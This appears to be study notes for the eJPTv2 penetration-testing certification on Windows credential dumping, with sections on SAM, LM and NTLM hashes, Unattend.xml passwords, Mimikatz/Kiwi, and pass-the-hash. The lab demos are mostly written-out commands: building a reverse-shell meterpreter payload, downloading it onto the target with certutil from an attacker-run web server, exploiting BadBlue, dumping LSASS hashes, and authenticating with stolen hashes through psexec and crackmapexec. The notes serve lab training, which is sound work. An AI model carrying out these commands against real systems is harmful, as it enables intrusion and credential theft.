> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/windows-vulnerabilities/windows-credential-dumping.md). # Windows Credential Dumping ### Windows Password Hashes * The Windows OS stotes hashed user account passwords locally in the SAM (Security Accounts Manager) database. * Hashing is the process of converting a piece of data into another value. A hashing function or algorithm is used to generate the new value. The result a hashing algorithm is known as a hash or hash value. * Authentication and verification of user credentials is facilitated by the Local Security Authority (LSA). * Windows versions up to Windows Server 2003 utilize two different types of hashes: * LM * NTLM * Windows disable LM hashing and utilizes NTLM hashing from Windows Vista onwards. **SAM Database** * SAM (Security Account Manager ) is a database file that is responsible for managing user accounts and passwords on Windows. All user account passwords stored in the SAM databases are hashed. * The SAM database file cannot be copied while the operating system is running. * The Windows NT kernel keeps the SAM database file locked and as a result, attackers typically utilize in-memory techniques and tools to dump SAM hashes from the LSASS process. * In modern versions of Windows, the SAM database is encrypted with a syskey. *Note: Elevated/Administrative privileges are required in order to access and interact with the LSASS process.* **LM (LanMan)** * LM is the default hashing algorithm that was implemented in Windows operating systems prior to NT 4.0 * The protocol is used to hash user passwords, and the hashing process can be broken down into the following steps: * The password is broken into two seven-character chunks. * All characters are then converted into uppercase. * Each chunk is then hashed separately with DES algorithm. * LM hashing is generally considered to be a weak protocol and can easily be cracked, primarily because the password hash does not include salts, consequently making brute-force and rainbow table attacks effective against LM hashes.
**NTLM (NTHash)** * NTLM is a collection of authentication protocols that are utilized in WIndows to facilitate authentication between computers. The authentication process involves using a valid username and password to authenticate successfully. * From Windows Vista onwards. Windows disables LM hashing and utilizes NTLM hashing. * When a user account is created, it is encrypted using the MD4 hashing algorithm, while the original password is disposed of. * NTLM improves upon LM in the following ways: * Does not split the hash in to two chunks. * Case sensitive * Allows the use of symbols and Unicode characters.
*** ### Searching for Passwords in Windows Configuration Files **Windows Configuration Files** * WIndows can automate a variety of repetitive tasks, such as the mass rollout or installation of Windows on many systems. * This is typically done through the use of the Unattended Windows Setup utility, which is used to automate the mass installation/deployment of Windows on systems. * This tool utilizes configuration files that contain specific configurations and user account credentials, specifically the Administrator account's password. * If the Unattended Windows Setup configuration files are left on the target system after installation, they can reveal user account credentials that can be used by attackers to authenticate with Windows target legitimately. **Unattended Windows Setup** * The Unattended Windows Setup utility will typically utilize one of the following configuration files that contain user account and system configuration information: * C:\Windows\Panther\Unattend.xml * C:\Windows\Panther\Autounattend.xml * As a security precaution the passwords stored in the Unattended Windows Setup configuration file may be encoded in base64. **Demo: Searching for passwords in Windows configuration files** ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > payload.exe ``` ``` python2 -m SimpleHTTPServer 80 ``` ``` cd Desktop certuil -urlcache -f http:///payload.exe payload.exe ``` ``` msfconsole -q > use multi/handler > set payload windows/x64/meterpreter/reverse_tcp > set LHOST > set LPORT > exploit >>>> sysinfo >>>> search -f Unattend.xml >>>> cd Windows\Panther\ >>>> dir (unattend.xml) >>>> download unattend.xml >>>> ``` * copy the Password Value into a file ``` base64 -d password.txt ``` ``` psexec.py Administrator@ Admin@123 ``` *** ### Dumping Hashes with Mimikatz * Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of clear-text passwords, hashes and Kerberos tickets from memory. * The SAM database, is a database file on Windows systems that stores hashed user passwords. * Mimikatz can be used to extract hashes from the lsass.exe process memory where hashes are cached. * We can utilize the pre-compiled mimikatz executable, alternatively, if we have access to a meterpreter session on a Windows target. We can utilize the inbuilt meterpreter extension Kiwi. *Note: Mimikatz will require elevated privileges in order to run correctly.* **Demo: Dumping Hashes with Mimikatz** ``` nmap -sC -sV ``` ``` msfconsole -q > use exploit/windows/http/badblue_passthru > show options > set RHOSTS > exploit >>>> sysinfo >>>> getuid >>>> pgrep lsass >>>> migrate 788 >>>> getuid >>>> load kiwi >>>> ? >>>> creds_all >>>> lsa_dump_sam >>>> lsa_dump_secrets >>>> golden_ticket_create (for active directory) >>>> password_change (we can change password but don't do it when doing pentesting) >>>> pwd >>>> cd C:\\ >>>> mkdir Temp >>>> cd Temp >>>> upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe >>>> shell >>>> .\mimikatz.exe # privilege::debug ('20' Ok mean we have permission for getting hashes from memory) # lsadump::sam # lsadump::secrets # sekurlsa::logonpasswords ``` * After windows 8.1 won't be able to get plaintext * we can display logon password with mimikatz *** ### Pass-The-Hash Attacks * Pass-the-hash is an exploitation technique that involves capturing or harvesting NTLM hashes or clear-text passwords and utilizing them to authenticate with the target legitimately. * We can use multiple tools to facilitate a Pass-The-Hash attack: * Metasploit PsExec module * Crackmapexec * This technique will allow us to obtain access to the target system via legitimate credentials as opposed to obtaining access via service exploitation. **Demo: Pass-The-Hash Attacks** * First perform the exploit of BadBlue version 2.7 ``` msfconsole -q > use exploit/windows/http/badblue_passthru > set Rhosts > exploit >>>> pgrep lsass >>>> migrate 780 >>>> getuid >>>> load kiwi >>>> lsa_dump_sam >>>> hashdump ctrl+z y > use exploit/windows/smb/psexec > set Rhosts > sessions > set lport something different to other session > set SMBUser Administrator > set SMBPass > set target Command > exploit > set target Native\ upload > exploit >>>> sysinfo >>>> getuid > sessions -K > exploit >>>> sysinfo ``` * copy and keep the hashes in a text file. * We require LM hash as well (hashdump) * other method uses PsExec, Crackmapexec, evil-winrm ``` crackmapexec smb -u Administrator -H "" ``` ``` crackmapexec smb -u Administrator -H "" -x "ipconfig" ``` * ignore the error and scroll up ``` crackmapexec smb -u Administrator -H "" -x "net users" ``` ***